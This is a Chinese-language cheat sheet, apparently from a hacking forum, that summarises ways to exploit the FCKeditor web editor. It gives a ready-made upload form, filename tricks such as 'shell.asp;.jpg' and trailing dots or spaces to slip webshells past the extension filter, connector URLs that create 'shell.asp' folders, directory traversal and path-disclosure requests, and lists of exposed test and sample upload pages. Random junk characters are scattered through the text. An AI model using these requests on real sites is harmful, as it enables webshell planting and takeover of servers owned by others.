|
Fckeditor漏洞利用总结 查看编辑器版本% J& ?# d4 L- F( _" Q
FCKeditor/_whatsnew.html3 G4 K- t. U0 R# L" p6 E
————————————————————————————————————————————————————————————— 2. Version 2.2 版本
6 K- _5 l+ w: j8 x' a% h. |3 pApache+linux 环境下在上传文件后面加个.突破!测试通过。. B1 }9 O8 ]+ C
————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
, L( e. S; Y4 s2 {' c, Z% ]) e" V<form id="frmUpload" enctype="multipart/form-data": }+ _/ B9 g. D9 P6 r6 u
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
5 \; ]0 }2 ~& s<input type="file" name="NewFile" size="50"><br>$ }. m2 H, \. Y2 L7 E6 i
<input id="btnUpload" type="submit" value="Upload">( D: {/ l z9 h" W' I3 }$ A
</form>- g5 ]# ]9 [% v7 N9 H; E: M1 O' p
————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
& u2 Z# r& N( c0 c: L7 R- _3 n3 ] 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。 R, P3 |1 ]2 n# c6 a5 ?
4.1:提交shell.php+空格绕过
4 b$ z5 V9 W, D不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。' H- e4 x6 E9 w+ ?3 I! `2 @- x. u
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
c6 S5 A" P Y( J% n" j————————————————————————————————————————————————————————————— 5. 突破建立文件夹" C3 z% o" ?; a4 h: M+ C; a
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
- {% }& l2 Z9 Q k. M- aFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
& K) F8 Z/ d% n* C$ O2 ^————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址3 E4 v" Y1 d/ ?9 ~
FCKeditor/editor/filemanager/browser/default/connectors/test.html
& n- D; B% y+ u9 g1 V j( d# }8 aFCKeditor/editor/filemanager/upload/test.html0 W- d% ?1 A$ n+ V' N
FCKeditor/editor/filemanager/connectors/test.html# x/ V2 Q1 B* O" H+ i [ H) T( c5 {
FCKeditor/editor/filemanager/connectors/uploadtest.html
) U- u6 F& X* I% f1 |0 j6 O—————————————————————————————————————————————————————————————
( {$ \" U0 T1 q d, B' z& Y: Q 7.常用上传地址0 @5 E% s$ C m: M* S" m& M( N
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
% t1 w9 [, _& z' \9 E5 rFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp$ U5 ^8 R, f w) r; J6 R
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
4 e' F; X! g$ d, r6 q0 T7 EJSP 版:2 ~7 W- l' @' Q4 h9 ~+ n$ ^+ x# g
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp1 U& C3 O4 W8 C/ a5 W
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
/ A' I. [3 b8 K件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
% p) l) G4 a( b, _————————————————————————————————————————————————————————————— 8.其他上传地址
/ | ~1 K1 i' S/ `0 ?! {FCKeditor/_samples/default.html- S0 I3 D. H8 L& Q7 T
FCKeditor/_samples/asp/sample01.asp$ p! Z9 Z) G5 c& w4 |% ?) E1 B
FCKeditor/_samples/asp/sample02.asp
! V% {% t$ @6 Q& G0 [ @4 dFCKeditor/_samples/asp/sample03.asp
: d3 Q# d( y" r0 GFCKeditor/_samples/asp/sample04.asp
1 ~, m2 d/ B+ R6 W6 w一般很多站点都已删除_samples 目录,可以试试。6 t q4 l+ ~' t9 A3 \
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
% P3 a4 E6 V3 W U————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址' ?* O/ H0 J% b( U0 ?
Version 2.4.1 测试通过3 D6 i0 }, D0 c7 X9 z
修改CurrentFolder 参数使用 ../../来进入不同的目录
( V' ]) a9 j: Q8 Y/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
8 Q! v3 f$ Y. I. A9 K- o$ q: h$ r根据返回的XML 信息可以查看网站所有的目录。
; J4 A& L: P+ n4 SFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
* ?& m! Q& O0 [, [也可以直接浏览盘符:" J. J% _- U+ g8 [* Q) s
JSP 版本:' B1 w5 ]6 P; `0 n# H
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
* ]* e! x! t6 W- C9 t- R @7 G————————————————————————————————————————————————————————————— 10.爆路径漏洞
" O. y c5 B8 W. m5 o0 sFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp* e# y3 I- b f' Y7 b+ P
————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题8 R$ m$ A, K) D2 K; e
影响版本: FCKeditor x.x <= FCKeditor v2.4.32 p% i2 U$ [) Q) a/ [: t( Q
脆弱描述:6 J' x3 q* u H& Q
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
5 C+ l3 i, F+ ]html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
8 D3 q3 D8 e6 tFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!( S( c* P2 y3 F% _2 {0 b4 H
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
, k; \0 B1 Z7 ]7 A 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! |